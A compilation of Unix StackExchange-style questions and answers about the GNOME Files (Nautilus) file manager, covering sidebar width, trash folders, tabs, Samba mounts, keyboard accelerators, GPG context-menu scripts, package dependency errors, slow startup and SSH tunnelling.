There is an issue thread posted on the Gnome file repo, see Sidebar too wide, doesn't reflect sidebar items width. The options you mentioned are no longer available, which is confirmed in the issue thread. IMHO, there are 2 workarounds so far, compile the un-merged version e.g. Draft: ui: Use AdwAdaptiveState to manage adaptive UI rollback to gnome file version 42
Fedora 37 with GNOME 43 - adjust Files/Nautilus sidebar width
1,566,001,921,000
I'm unable to delete anything into trash in my Kali Linux system. I can only permanently delete items. When I try deleting, I keep getting the message: file/folder can't be put in the trash. Do you want to delete it permanently? Unable to find or create trash directory for /path/to/file/or/dir/file Why can't I delete into trash? Below is my fstab: # /etc/fstab: static file system information. # # <file system> <mount point> <type> <options> <dump> <pass> #Entry for /dev/sda5 : UUID=92dcad4f-3256-4908-b299-90edc8bd5dbf / ext4 errors=remount-ro 0 1 #Entry for /dev/sda3 : UUID=08BDB5EF06C52B43 /media/rev/08BDB5EF06C52B43 ntfs-3g defaults,nodev,nosuid,locale=en_US.UTF-8 0 0 #Entry for /dev/sda4 : UUID=5431214957EBF5D7 /media/rev/5431214957EBF5D7 ntfs-3g defaults,nodev,nosuid,locale=en_US.UTF-8 0 0 #Entry for /dev/sda1 : UUID=63CA6D5A72F6F4CF /media/rev/63CA6D5A72F6F4CF ntfs-3g defaults,nodev,nosuid,locale=en_US.UTF-8 0 0 #Entry for /dev/sda6 : UUID=e6a455d8-8459-434b-aa0c-813ce9335041 none swap sw 0 0 /dev/sr0 /media/cdrom0 udf,iso9660 user,noauto 0 0
No need to have it somewhere else to copy it: First, confirm that your normal user is ID "1000": id Then sudo mkdir -p /.Trash-1000/{expunged,files,info} sudo chown -R $USER /.Trash-1000 Check Here https://askubuntu.com/questions/262817/unable-to-find-or-create-trash-directory
Cannot delete into trash
1,566,001,921,000
How can I set my CentOS to be able to open multiple directories in different tabs in the same window? I have already enabled the feature to open the folders in the same window, but this is different: I would like to be able to open as many tabs I want for different folders. Unfortunately, I don't know my graphical environment, since: [user@maxipub9 extractions]$ echo $DESKTOP_SESSION default
Both CentOS and Fedora make use of GNOME for their desktop environments. To open multiple tabs you can use Ctrl+T to add additional tabs.     If you're attempting to have Nautilus open these tabs pre-populated with specific directories this, to my knowledge, is not possible. You'll have to resort to a scripted method such as this one from this AU Q&A titled: open nautilus as new tab in existing window. Specifically the answer that shows the technique using xdotool along with wmctrl. However the tabs feature was only made available in version GNOME 2.24 or higher. Looking at CentOS 5.10 it comes with Nautilus 2.16.      This article from ArsTechnica titled: GNOME file manager gets tabbed file browsing discusses the addition of this feature. So you're out of luck in using tabs with this particular version of Nautilus. This feature will likely be ready to roll for GNOME 2.24, which is scheduled for release in September. Another long-awaited Nautilus feature that is planned for GNOME 2.24 is the compact column view. A lot of other work has been done to iron out the remaining GVFS regressions.
Open multiple directories in different tabs in the same window in CentOS
1,566,001,921,000
I am using emacs-snapshot, and I added an application shortcut to my .local/share/applications/emacs-snapshot.desktop : [Desktop Entry] Version=1.0 Name=Emacs Snapshot (GTK) GenericName=Emacs Comment=GNU Emacs Snapshot Text Editor Exec=/usr/bin/emacs-snapshot-gtk TryExec=emacs-snapshot Terminal=false Type=Application Icon=emacs-snapshot Categories=Development;Utility;TextEditor; MimeType=text/plain; When I browse my folders (Nautilus 3.4.2) and right click on files on my local disk, I can choose Open With -> Emacs Snapshot (GTK): However, when I browse to a samba share (smb://data/mydata/) and click on a file, I am not given an option to open it in Emacs - even if I click "Open with other application -> Show other applications": How do I fix it? Further info: OS: Debian Wheezy Emacs from http://emacs.naquadah.org/ : emacs-snapshot-gtk the output of ldd /usr/bin/emacs-snapshot-gtk: http://pastebin.com/0Rz9mKQA
The problem was related to the way the share was mounted (GVFS), as hinted by Gilles. In order for my network folder to work "properly", I had to install cifs-utils sudo apt-get install cifs-utils And mount -t cifs -o domain=mydomain,uid=myuid,forceuid,gid=mygid,forcegid //server/share /shared
Opening a samba share in emacs
1,566,001,921,000
Since I've been using Debian with GNOME 3.4.2 (default version upon installation), I've always used the dconf editor to change the delete accel back to the normal delete instead of <ctrl>delete, but this time it's going wrong - It just doesn't want to stay as delete once I close Nautilus. Here are the steps I take: Open Nautilus and move to a file I want to delete. I click on the file. I open dconf-editor from Applications -> System Tools -> dconf Editor Make my way to org -> gnome -> desktop -> interface. Enable "can_change_accels" Go back to Nautilus and click on the edit menu and hover over "Move to Trash" I hit my delete key twice so that the new accel will be the delete key. Go back to the dconf editor and unselect "can_change_accels" Close dconf editor and Nautilus. Once I open Nautilus again, the accel is back to <ctrl>delete and I can't figure out why. I've done this many times, and usually if it doesn't work the first time, after a couple of tries it'll finally stay set, but this time, no dice. This is a brand new install of Debian that I completed literally about an hour ago, using the default ftp.us.debian.org mirror (if that matters at all). I even tried going to /home/user/.gnome2/accels and editing the file nautilus there. Saved it, reboot, no change whatsoever. Does anybody have a solution for this? It's driving me nuts. Duplicate question: https://unix.stackexchange.com/questions/57853/del-accel-reseted-in-every-boot-debian-testing-nautilus (I know it's bad form to ask a question again if there's already one open, but it was asked in 2011, but was never answered, so I figured it'd be okay to bring up again.)
I think you can do it without having to resort to dconf-editor now. Make the following changes directly to Nautilus' keyboard accelerators, located here: $ vim ~/.config/nautilus/accels Then replace this line: ; (gtk_accel_path "<Actions>/DirViewActions/Trash" "<Primary>Delete") by this one: (gtk_accel_path "<Actions>/DirViewActions/Trash" "Delete") Then restart Nautilus: $ nautilus -q -or- $ killall nautilus References How can I delete a file pressing only "delete" key? (In Gnome 3.6) How to restart nautilus without logging out?
Debian 7.3 (stable) with GNOME 3.4.2, new Nautilus accel won't stick
1,566,001,921,000
If I follow a process I mentioned here, I am supposed to log out and then in for the changes to take place. What about Nautilus? I tried to restart it and was still unsuccessful. The only way I have so far found that works is logging out of the desktop and then in again. That's not always convenient of course.
You can't grant a new group to a running process. You need to log in again to get a process with the changed group memberships. What you can do is to launch nautilus from a different session but have it display on your existing display, something like ssh localhost "DISPLAY=$DISPLAY XAUTHORITY=$XAUTHORITY nautilus &"
How to make Nautilus notice changes regarding group permissions
1,566,001,921,000
Does anyone have an idea why when I insert a CD/DVD/flash nautilus opens as a default file manager under KDE instead of dolphin krusader? In my system settings krusader is set as the default manager, but still nautilus somehow keeps showing up, and I'm wondering how to change that? I keep nautilus because it's a dropbox dependency... Ok, I know there are workarounds so one could use dropbox without nautilus but I didn't bother trying that out... I don't mind keeping nautilus but I just want it to be quiet :D I have KDE 4.5.1 installed on an up-to-date Arch if that helps.
This link seems to be what you are looking for. The post is ubuntu specific thought...
How to turn off Nautilus autoplay under KDE?
1,550,746,192,000
I want to use a nautilus script to open a (gnome-) terminal with a tmux session (or start one) at a specific location and then execute some commands in this terminal (e.g. nvim $file). I've encountered 2 problems however: 1: I have "Run a custom command instead of my shell" at "tmux", such that every terminal starts in a tmux session. This seems to negate the ability to open the terminal at a given location. What I tried is putting an executable test.sh file in ~/.local/share/nautilus/scripts/ with content: #!/bin/bash gnome-terminal --working-directory=$NAUTILUS_SCRIPT_CURRENT_URI this works on a blank profile. With "tmux" as startup command however I just get a blank terminal at ~ 2: If I try to use any command after that, nothing happens. nvim some_file_there does nothing, just as echo "hi" and exec echo 'hi' Could someone explain the behaviour to me? Meanwhile I've deactivated the "Run a custom command" setting in terminal. However, still I can only change the working directory (open terminal here), but cannot issue any further commands. My newest test script containing only: #!/bin/bash zenity --info --text="$NAUTILUS_SCRIPT_SELECTED_FILE_PATHS" gnome-terminal -e "ls" Does somehow change the working directory to the one, that the nautilus script is started from! Also it shows the results of the ls command, but in the terminal a dialog band is dropped down in blue saying: "The child process exited normally with status 0." And a Relaunch button to the right. - I guess this means, that a new session or terminal or so is started (the child), but it doesn't continue, such that I could eventually use it!? Can someone maybe clarify what happens here?
I've found solution relying heavily on tmux. Since tmux is working independently of the shell and prevails even after closing the windows, one can prepare a tmux session and then attach to it. The thing won't instantly exit, since the attachment command does not return unless you exit it. This and the fact that you can name and search a session yields the following Nautilus-Script: #!/bin/bash # nautilus script to start files in nvim under a tmux session # place this script into ~/.local/share/nautilus/scripts/nvimOpen.sh # presented without warranty by mike aka curvi # nvim running in another session? - # TODO tmux rename-session -t $whaever nvim # Tmux session 'nvim' is running neovim always! if tmux has-session -t nvim ; then # test if it is open and split it for selected_file in $NAUTILUS_SCRIPT_SELECTED_FILE_PATHS ; do tmux send-keys -t nvim Escape # change to normal mode tmux send-keys -t nvim ";vsp $selected_file" Enter # open file in vsplit done else # or start it up freshly! tmux new-session -d -s nvim ; tmux send-keys -t nvim "nvim -O $NAUTILUS_SCRIPT_SELECTED_FILE_PATHS" Enter tmux send-keys -t nvim Escape # change to normal mode fi # after the tmux session is prepared - attach to it in gnome-terminal! gnome-terminal -e "tmux attach-session -d -t nvim" Bonus: since I send the keys, instead of issueing the commands directly they appear in the terminals history, like expected! Attention: my nvim/init.vim contains a remapping of ; to :, which means, that in order to run one has to check the sent keys for "regular" vim/neovim settings!
Bash script to start tmux and issue commands
1,550,746,192,000
I have Samsung Galaxy S2 as my cell phone and Debian Squeeze as my desktop. When I connect them using USB, Debian recognize it and allows to open it with file manager. Problem: it displays only directories, all files are like somehow, magically, hidden. I know that they exists, because I can easily see them on Windows 7. I tried to disable file-hiding and related stuff in Nautilus options, but nothing. Why is that so and how can I see those files? P.S. I wasn't sure where to post it - in here or in https://android.stackexchange.com/.
The problem was that I needed to turn on USB Storage from my cell and then mount.
Can't see files on my cell phone
1,550,746,192,000
I often use gpg command to encrypt files like so gpg -c file which produces a file.gpg. I would like to get rid of the command line aspect and have a right click button in my Nautilus. I tried installing the Seahorse extension for Nautilus but it doesn't work very well and I would like to keep the simplicity of my above command. How should I do?
As far as I know there are two simple ways to add entries to the Nautilus context menu : Nautilus scripts nautilus-actions package, which, depending on your distribution might be depreciated. I'm running on Debian Bullseye/sid where nautilus-actions is not available so I will present the way using Nautilus script. To learn more about this Nautilus functionality you can spend a little time on the Ubuntu side of StackExchange, guys talk a lot about Nautilus scripts down there. Basically, this feature allows you to add context menu entries to Bash (or Python for example) scripts located in your ~/.local/share/nautilus/scripts/ directory. Using two scripts What I propose is to implement two scripts: one to encrypt, one to decrypt. Your contextual menu will look as follows when right-clicking on a file : Encrypt script The encrypt script would simply be #!/usr/bin/env bash # Encrypt # gpg-encrypt Nautilus script gpg -c --no-symkey-cache "$1" && rm -f "$1" where the first Bash argument $1 is the file path selected by Nautilus when right-clicking. The --no-symkey-cache prevents gpg from keeping the passphrase in cache. By default the passphrase is stored for a certain amount of time after encrypting and decrypting a file, I personally don't like this feature so I use this option. I also added && rm -f "$1" in order to remove the original file after encryption, you can remove that if you don't want it. Decrypt script The decrypt script would be #!/usr/bin/env bash # Decrypt # gpg-decrypt Nautilus script ext=`echo "$1" | grep [.]gpg` if [ "$ext" != "" ]; then gpg --batch --yes --no-symkey-cache "$1" else zenity --error --text "The selected file is not crypted." fi Let me explain what the script does. It uses a variable ext which is empty when the selected file is not a .gpg file and which is not empty if the selected file is a .gpg file. If the selected file is an encrypted .gpg file, the script will use the gpg command to decrypt it. I passed the options --batch --yes in order to overwrite if the output file already exists. For example decryption of file.gpg will overwrite file if it exists. If you don't want to overwrite, I suggest you use the output gpg's option and zenity --file-selection to specify the decrypted file name. If the selected file is not an encrypted .gpg file, the script will use zenity --error to pop-up an error window. This script test whether the file is encrypted by looking through the extension. A better way to do that would be to check the MIME type of the selected file. The MIME type of the encrypted file can be found using $ > file $ file -b --mime-type file.gpg application/octet-stream Since application/octet-stream refers to a general binary file and not necessary to an encrypted file I don't think that this approach would be better than checking on the file extension. On the other hand I know that Nautilus maps my gpg-encrypted files to the application/pgp-encrypted MIME type. Maybe someone knows how to get this MIME type from a .gpg file using something else than the file command, in that case it would be relevant. Using two files If you don't want to use two right-click menu entries you can use one single script : #!/usr/bin/env bash # Encrypt-Decrypt # gpg-encrypt/decrypt Nautilus script ext=`echo "$1" | grep [.]gpg` if [ "$ext" != "" ]; then gpg --batch --yes --no-symkey-cache "$1" else gpg -c --no-symkey-cache "$1" && rm -f "$1" fi This script will decrypt if the selected file is a .gpg file and encrypt if the selected file is every else. Decrypt with double click in Nautilus Additionally you can allow Nautilus to decrypt encrypted .gpg when double-clicking by adding the following desktop entry into your ~/.local/share/applications/ directory. # Decrypt.desktop [Desktop Entry] Name=GPG Decrypt Terminal=false Type=Application MimeType=application/pgp-encrypted; Exec=gpg --batch --yes --no-symkey-cache %F NoDisplay=true If no other application is used by default, double-clicking in Nautilus will now decrypt the file. Seahorse might be selected as default application if you're using default GNOME, in that case you have to select GPG Decrypt in Open With Other Application Menu. Installation This little Bash script will install everything in the right location for you : chmod +x 'Encrypt' 'Decrypt' # script files must be executable! cp Encrypt Decrypt ~/.local/share/nautilus/scripts/ cp Decrypt.desktop ~/.local/share/applications/ update-desktop-database ~/.local/share/applications/ nautilus -q nautilus Demo PS: Tested on GNOME 3.34.2 and gpg 2.2.17 (you can check that with $ gpg --version).
GPG encryption in Nautilus right click menu
1,550,746,192,000
I am experiencing problems to start Gnome Files (Nautilus) on Debian Testing (Buster). I noticed that after an upgrade (I don't know which) Nautilus started to delay some seconds to run. Running from console I found this error messages: ** (nautilus:23814): WARNING **: 18:19:23.023: Error on getting connection: Failed to load SPARQL backend: GDBus.Error:org.freedesktop.DBus.Error.NoReply: Message recipient disconnected from message bus without replying (nautilus:23814): GLib-GIO-CRITICAL **: 18:19:33.241: g_dbus_connection_signal_unsubscribe: assertion 'G_IS_DBUS_CONNECTION (connection)' failed (nautilus:23814): GLib-GObject-CRITICAL **: 18:19:33.241: g_object_unref: assertion 'G_IS_OBJECT (object)' failed (nautilus:23814): GLib-GObject-CRITICAL **: 18:19:33.241: g_object_unref: assertion 'G_IS_OBJECT (object)' failed
I discovered that if you delete ~/.cache/tracker/ the problem is solved.
Gnome Files (Nautilus) very slow to start on Debian Testing (Buster)
1,550,746,192,000
From the terminal I can open the file manager using nautilus ., but the window opens behind the current terminal window (on my Ubuntu 14.04). Is there a way to call nautilus from the terminal and bring the window to the foreground?
After adding comment here I checked askubuntu.com and found the answer there. You need to install CompizConfig Settings Manager. Then go to General -> General Options -> Focus & Raise Behaviour and set Focus Prevention Level from Low to Off.
Nautilus to open in the foreground
1,550,746,192,000
I want to know why is this argument so important when lauching nautilus or pcmanfm. What happens if i don't? Also, i want to know what is the meaning of %U for: Exec=pcmanfm %U
There is an instance of Nautilus running behind the scenes that's managing your desktop, so when you run subsequent instances of Nautilus the --no-desktop is telling Nautilus not to try to manage the desktop icons etc. The %U means to pass in a list of URLS: %U A list of URLs. Each URL is passed as a separate argument to the executable program. Local files may either be passed as file: URLs or as file path. The rest of the list can be found here in the "The Exec key section" of the freedesktop.org documentation. Here are the rest. excerpt Code Description ---- ----------- %f A single file name, even if multiple files are selected. The system reading the desktop entry should recognize that the program in question cannot handle multiple file arguments, and it should should probably spawn and execute multiple copies of a program for each selected file if the program is not able to handle additional file arguments. If files are not on the local file system (i.e. are on HTTP or FTP locations), the files will be copied to the local file system and %f will be expanded to point at the temporary file. Used for programs that do not understand the URL syntax. %F A list of files. Use for apps that can open several local files at once. Each file is passed as a separate argument to the executable program. %u A single URL. Local files may either be passed as file: URLs or as file path. %U A list of URLs. Each URL is passed as a separate argument to the executable program. Local files may either be passed as file: URLs or as file path. %d Deprecated. %D Deprecated. %n Deprecated. %N Deprecated. %i The Icon key of the desktop entry expanded as two arguments, first --icon and then the value of the Icon key. Should not expand to any arguments if the Icon key is empty or missing. %c The translated name of the application as listed in the appropriate Name key in the desktop entry. %k The location of the desktop file as either a URI (if for example gotten from the vfolder system) or a local filename or empty if no location is known. %v Deprecated. %m Deprecated.
--no-desktop and %U what for?
1,550,746,192,000
I'm not a Thunar fan, so I removed it and installed Nautilus. When I try to open picture or folder I have this error What should I do?
XFCE doesn't depend on Thunar, you can replace it with anything you want. To change default file manager go to Configuration Manager, click on Preferred Aplications and in the Utilities tab you will be able to choose nautilus or right your own command nautilus "%d" http://docs.xfce.org/xfce/exo/preferred-applications
Error after remove thunar
1,550,746,192,000
Some examples: If I plug an external USB drive in, it will get mounted under /media/$USER/<device-id> and my file browsers will automatically list the mountpoint under devices. The same will happen if I manually mount something into a regular folder in my home directory. However, my file browsers will not list the mountpoint if that folder is hidden. The file browser also won't list mountpoints that are in /tmp, for example. So what are the conditions for a mountpoint to automatically show up in file browsers under devices? Since PCManFM and Nautilus seemingly behave exactly the same, I believe there might be general rules for this? Can I "force" a mountpoint (which is a hidden folder or in /tmp, for example) to show up under devices?
Block devices have a flag to indicate whether they are removable. This can be seen in the output of lsblk --help. Although I did not check the kernel sources, the device module is the best place to set this flag. The exclusion of file systems mounted under /tmp is probably a separate check by the file managers you tried, or the libraries they use. Dolphin, for instance, continues to show such mounts as removable drives. Usage: lsblk [options] [<device> ...] List information about block devices. Options: ... -o, --output <list> output columns ... Available output columns: ... RM removable device ... PCManFM uses GLib and Gio libraries. Nautilus probably does as well. Dolphin does not. I don't know the exact rules they follow, but you can check their sources. More at How to tell if a SCSI device is removable?
Which mountpoint paths will automatically show up in file browser under devices?
1,550,746,192,000
I'm new to Ubuntu. I installed Ubuntu on my PC which has SSD and HDD. I followed the guide to partition HDD properly and it has been mounting without errors so far. However, I can't write anything in it. I tried desperately for several hours. This is what I did: chmod - Error: chmod: changing permissions of '/data': Operation not permitted chown - same chmod 777 - same chattr -i - same Open in sudo nautilus and change permissions - the permissions would change but then immediately pop back to "access files" Noteworthy, I can make folders inside /data using sudo mkdir
The root directory of a freshly mkfs'd Unix-style filesystem is owned by the root user. So the first step after mounting is to assign it an useful ownership, using root permissions: sudo chown $USER: /data After that, you should be able to chmod the directory as required, as you'll now have the ownership of the directory. But if you are planning to use it only by yourself, you might not have to change anything else. If you are using a filesystem type that is not Unix-like, e.g. vfat, fat32 or NTFS, those filesystems don't natively support Unix-style file ownerships/permissions, and so the filesystem driver will apply a compatibility workaround of some sort. It might involve a set of mount options that can be used to present all files & all directories in the filesystem with specified owner, group and permissions, or an optional translation table file that tells the filesystem driver how to convert Unix-style UIDs and GIDs to NTFS-style Security IDs and vice versa. For those, you'll need to read filesystem-specific documentation.
Can't change mounted HDD's permissions at all
1,550,746,192,000
Have a directory on a hard drive where I want to change all contents from owned by root to owned by tomc. I have tried Nemo, Krusader, and Nautilus (all launched as root, using sudo), all of which claim to be able to apply such changes recursively. None do, when I check after issuing the command. So I now have a primary dir owned by user tomc which has subdirs owned by root. In each of those subdirs are hundreds of files whose ownership needs to be tomc but is root. I could venture to try a chmod command, but looking into this the sheer complexity of it is intimidating and even dangerous. These are backup files I'm messing with, and while not irreplaceable, I do not have a copy nor room to make one. Is there any easy way for me to achieve what I'm wanting? I certainly am not averse to working on the command line. It just seems like a GUI is safer and surely ought to work. But it does not.
Although you might be adverse to using chmod commands, it is one of the most direct and simple ways of doing this. You could still run the file browser with sudo as guillermo mentioned, but there is no garuntee that it'll stick and you still need to run a command in the command line to start it with sudo. chown -R tomcat <DIRECTORY> This is the simplest way to change the owner of every file and directory inside a directory to user tomcat. To put you at ease of exactly what it is doing, let's look at the man page. man chown The syntax of the command is:chown [OPTION]... [OWNER][:[GROUP]] FILE... We have called chown with the -R option, have selected tomcat as the owner, and the file is a directory of your choosing. Looking at the man pages, the -R flag: -R, --recursive operate on files and directories recursively If you would like, you could even use the -v flag to show exactly what it has done. Making the new command chown -Rv tomcat <DIRECTORY> man: -v, --verbose output a diagnostic for every file processed
Problem with recursive change of file ownership
1,550,746,192,000
I'm using Fedora 29 gnome and currently I have nautilus-3.30.5-1.fc29.x86_64. It's very laggy right now. It opens folder very slowly, and I can see loading text bottom right. What I've tried so far I've removed ~/.cache/tracker I've downgraded nautilus to nautilus-3.30.2-1.fc29.x86_64, issue continues. After killall nautilus and nautilus It's my output, there are more and more and still producing. (nautilus:4258): Gtk-WARNING **: 17:34:12.268: Duplicate child name in GtkStack: ios (nautilus:4258): Gtk-WARNING **: 17:34:12.269: Duplicate child name in GtkStack: Runner.xcworkspace (nautilus:4258): Gtk-WARNING **: 17:34:12.270: Duplicate child name in GtkStack: Runner.xcodeproj (nautilus:4258): Gtk-WARNING **: 17:34:12.271: Duplicate child name in GtkStack: Runner (nautilus:4258): Gtk-WARNING **: 17:34:12.272: Duplicate child name in GtkStack: Flutter (nautilus:4258): Gtk-WARNING **: 17:34:12.273: Duplicate child name in GtkStack: android (nautilus:4258): Gtk-WARNING **: 17:34:12.274: Duplicate child name in GtkStack: app (nautilus:4258): Gtk-WARNING **: 17:34:12.275: Duplicate child name in GtkStack: test (nautilus:4258): Gtk-WARNING **: 17:34:12.276: Duplicate child name in GtkStack: lib (nautilus:4258): Gtk-WARNING **: 17:34:12.277: Duplicate child name in GtkStack: ios (nautilus:4258): Gtk-WARNING **: 17:34:12.277: Duplicate child name in GtkStack: Runner.xcworkspace (nautilus:4258): Gtk-WARNING **: 17:34:12.278: Duplicate child name in GtkStack: Runner.xcodeproj (nautilus:4258): Gtk-WARNING **: 17:34:12.278: Duplicate child name in GtkStack: Runner (nautilus:4258): Gtk-WARNING **: 17:34:12.279: Duplicate child name in GtkStack: Flutter (nautilus:4258): Gtk-WARNING **: 17:34:12.280: Duplicate child name in GtkStack: android (nautilus:4258): Gtk-WARNING **: 17:34:12.281: Duplicate child name in GtkStack: app (nautilus:4258): Gtk-WARNING **: 17:34:12.540: Duplicate child name in GtkStack: test (nautilus:4258): Gtk-WARNING **: 17:34:12.541: Duplicate child name in GtkStack: unit (nautilus:4258): Gtk-WARNING **: 17:34:12.541: Duplicate child name in GtkStack: integration (nautilus:4258): Gtk-WARNING **: 17:34:12.542: Duplicate child name in GtkStack: lib (nautilus:4258): Gtk-WARNING **: 17:34:12.543: Duplicate child name in GtkStack: models (nautilus:4258): Gtk-WARNING **: 17:34:12.544: Duplicate child name in GtkStack: mocks (nautilus:4258): Gtk-WARNING **: 17:34:12.545: Duplicate child name in GtkStack: components (nautilus:4258): Gtk-WARNING **: 17:34:12.545: Duplicate child name in GtkStack: ios (nautilus:4258): Gtk-WARNING **: 17:34:12.546: Duplicate child name in GtkStack: Runner.xcworkspace (nautilus:4258): Gtk-WARNING **: 17:34:12.546: Duplicate child name in GtkStack: Runner.xcodeproj (nautilus:4258): Gtk-WARNING **: 17:34:12.547: Duplicate child name in GtkStack: Runner (nautilus:4258): Gtk-WARNING **: 17:34:12.548: Duplicate child name in GtkStack: Flutter (nautilus:4258): Gtk-WARNING **: 17:34:12.548: Duplicate child name in GtkStack: assets They are related to my Flutter projects on my IdeaProjects folder. Solution I thought the problem was related to IdeaProjects folder, rudib informed me that problem is related to my ~/Templates folder. I had a github repo on my ~/Templates folder which contains many flutter projects in its subfolders. I've deleted that and it solved my problem.
As an temporary fix, I would recommend downgrading nautilus and report the bug to the developers, if it's not reported yet. dnf downgrade nautilus To further debug this issue, run: killall nautilus nautilus in the terminal. This should provide additional information. Further investigation pointed to the ~/Templates folder. There were some unwanted/duplicate Entries that caused this issue. Removing those should fix the issue. Altough this it not the standard "use-case" I would still consdider it a "bug" worth reporting.
Nautilus is slowed on after dnf upgrade
1,550,746,192,000
Suppose I click on a file in Nautilus. How can I copy the full address to the clipboard, and then easily paste it into a shell command that I'm typing in a terminal?
Press Ctrl+C to copy. When you paste into a terminal, what you'll get is the file name (with its full path). You get the raw file name, which won't be directly usable in a shell command if it contains spaces or other special characters. To use the file name in a command, don't use a paste command from the terminal, let the shell do the pasting. Install the program xsel (packaged in most distributions) and call it on your command line, inside a command substitution. You need double quotes around the command substitution to protect special characters such as spaces. $ ls -l "`xsel -b`"
Copy a file in Nautilus and use it in a shell command line
1,550,746,192,000
I use ssh and scp to connect to a remote server. Due to a ip/proxy limitation on the remote server, I have to connect first to another server. For example, if I want to connect to "SERVER-A", I have to ssh to SERVER-0 and from SERVER-0 ssh to SERVER-A. Thats ok, just a simple additional step on the login. Now im trying to connect using Nautilus. Its there any way to indicat it to connect via the intermediate server?
You could try using a ssh tunnel. For example, on your computer, enter the following command (and keep the connection open): ssh -L 12345:SERVER-A:22 user@SERVER-0. This way, you can now connect Nautilus to localhost:12345, and it will connect you to SERVER-A, via SERVER-0. Depending on your configuration, you may need to authorize the forwarding to a remote host in the sshd configuration file on SERVER-0 (usually /etc/ssh/sshd_config).
Indirect SCP connection
1,550,746,192,000
In Nautilus, I see left pane is useful. It contains shortcut to another place. Such as : At device : I can see Windows Partition (although I does not mount yet) or at my computer, some shortcut to go Home/Desktop/Documents/Downloads.... When I mount Windows partitions in Nautilus (double click, a confirm windows appear to ask...). After I mount, I still can see this device in left pane. But, if I mount by hand, (I do by hand because I want auto mount every time I start using Linux). I do this by go to terminal and type : mount -t ntfs /dev/sda1 /mnt/C It will lost this icon in left pane. Of course, no problem here, but if I want to go to these location, I must go to by hand : root -> mnt --> C So, does anything if I mount by hand, and still can see it in Nautilus ?
If you want it to be visible in Nautilus you should mount it where udisks2 mounts it, i. e. under /run/media/USERNAME/where USERNAME is (obviously) your user name. Something like this: mount -t ntfs /dev/sda1 /run/media/USERNAME/C
Fedora 17 : Nautilus, after mount manually, device will not see again in Device section
1,550,746,192,000
In the past I used Nautilus-Actions Configuration Tool with Nautilus. Can that be used with Nemo File manager (a fork of Nautilus originally)?
The answer came to the older once closed question now reopened. Summing up what I have learned from the main answer: Nemo or Nautilus actions are similar in content and purpose (namely, adding menu items) but vary with respect to the extension name. (In nautilus, newly created actions and menus will be stored on the disk as .desktop files, In nemo as nemo_action files.) They invoke certain commands including scripts (which are in this sense called nautilus or nemo scripts). Therefore, nautilus scripts can be used if invoked by nemo_action files, as they were nautilus actions, while the latter can be adapted for the purpose to fit Nemo. The nautilus-actions tool, a graphical editor for nautilus actions, will therefore not work with nemo because it looks for .desktop files, not .nemo_action files.
Can Nautilus-Actions Configuration Tool be used with Nemo file browser in Cinnamon?
1,622,066,770,000
Nautilus, for some reason, becomes very ugly when using custom GTK+ themes. I can't figure out why. There are only a few ones GTK+ themes work properly with Nautilus. How do I fix this? Is this a Nautilus issue? Here's a list of data that I think might be relevant: I'm using GNOME 3 on ArchLinux Icon themes aren't working under any account but root for Nautilus (works for other applications) Window themes are being ignored by Nautilus, Gnome Tweak Tool and System Monitor System restart, GNOME restart or Nautilus restart does not fix anything Some themes work (Zukitwo and Numix)
Themes that make Nautilus look ugly are not updated to support that new header bar widget that came with GTK 3.10 some examples of themes that don't work and some that do work:
Nautilus ugly with custom GTK themes
1,622,066,770,000
With the command sudo apt-get install gnome-core -f I got The following packages have unmet dependencies: gnome-core : Depends: nautilus (>= 3.22) but it is not going to be installed Depends: gnome-sushi (>= 3.20) but it is not going to be installed E: Unable to correct problems, you have held broken packages. So i tried: sudo apt-get install nautilus -f I got: The following packages have unmet dependencies: nautilus : Depends: libnautilus-extension1a (= 3.22.3-1) but it is not going to be installed Recommends: gnome-sushi but it is not going to be installed E: Unable to correct problems, you have held broken packages. After I tried: sudo apt-get install gnome-sush -f I got: The following packages have unmet dependencies: gnome-sushi : Depends: nautilus (>= 3.2) but it is not going to be installed E: Unable to correct problems, you have held broken packages. Finally I tried: sudo apt-get install libnautilus-extension1a -f And I obtained: libnautilus-extension1a is already the newest version (1:3.14.2-0ubuntu9). I tried also to clean using (sudo is missing because i was root): apt-get clean && apt-get update && apt-get upgrade -y && apt-get dist-upgrade -y source.list deb http://http.kali.org/kali kali-rolling main contrib non-free deb http://security.debian.org/debian-security wheezy/updates main deb http://ppa.launchpad.net/webupd8team/java/ubuntu trusty main deb-src http://ppa.launchpad.net/webupd8team/java/ubuntu precise main OS 4.9.0-kali4-amd64 #1 SMP Debian 4.9.25-1kali1 (2017-05-04) x86_64 GNU/Linux
You are not using Debian, but Kali. Then, for some reason, you are having this package libnautilus-extension1a 1:3.14.2-0ubuntu9.1 from Ubuntu Vivid, while Kali-rolling (& Stretch) has 3.22.3-1. You could use sudo dpkg --remove --force-remove-reinstreq --force-hold libnautilus-extension1a to remove it. From man dpkg: hold A package marked to be on hold is not handled by dpkg, unless forced to do that with option --force-hold. reinst-required A package marked reinst-required is broken and requires reinstallation. These packages cannot be removed, unless forced with option --force-remove-reinstreq. Then you can sudo apt-get update and try to reinstall from your normal apt sources.
Gnome Installation Issue Debian
1,622,066,770,000
I work on RedHat Linux and, when I read files from terminal using ll or ls -l on my desktop, I see different names from what I have in my file manager. Say the file name on desktop is John, but I see it in the terminal as vc-john.desktop. Can I get some help over here please?
What you're observing is a common behavior in many Linux distributions, including Red Hat. The discrepancy in file names between the graphical file manager and the terminal is due to the way desktop environments handle desktop entries (.desktop files). Here's an explanation: Desktop Files (*.desktop): These are special files in Linux that act as shortcuts to applications, similar to shortcuts in Windows. They are plain text files, but with a .desktop extension. These files typically reside in /usr/share/applications/ for system-wide applications or ~/.local/share/applications/ for user-specific applications. They can also be placed on the Desktop for quick access. Naming Convention: In the file manager (like GNOME's Nautilus or KDE's Dolphin), these files are displayed with the name specified inside the .desktop file, not the actual filename. For example, a file named vc-john.desktop might contain a line like Name=John. The file manager shows "John" based on the Name property in the file. Terminal View (ll or ls -l): When you use commands like ls -l or ll in the terminal, you see the actual file names on the filesystem, not the names specified inside the .desktop files. That's why you see vc-john.desktop instead of "John". Modifying Display Names: If you want to change how a name is displayed in the file manager, you can edit the .desktop file and modify the Name field. However, this won't change the actual filename, which is what you see in the terminal. Why the Prefix?: The prefix (like vc- in your case) is often used for organizational or naming convention purposes, especially if the desktop files are generated by specific software or scripts. In summary, the file manager is showing a user-friendly name extracted from the .desktop file's content, while the terminal is showing the actual filename on the filesystem. This behavior is by design to make the desktop more user-friendly and does not indicate any problem with your system.
Different name on terminal than on file manager
1,622,066,770,000
When I open Nautilus and I go to the other locations I can see my unmounted hdd wich name is /dev/sda1 and it's real name is HDD. How can I found the real name of /dev/sda1 from the command line?
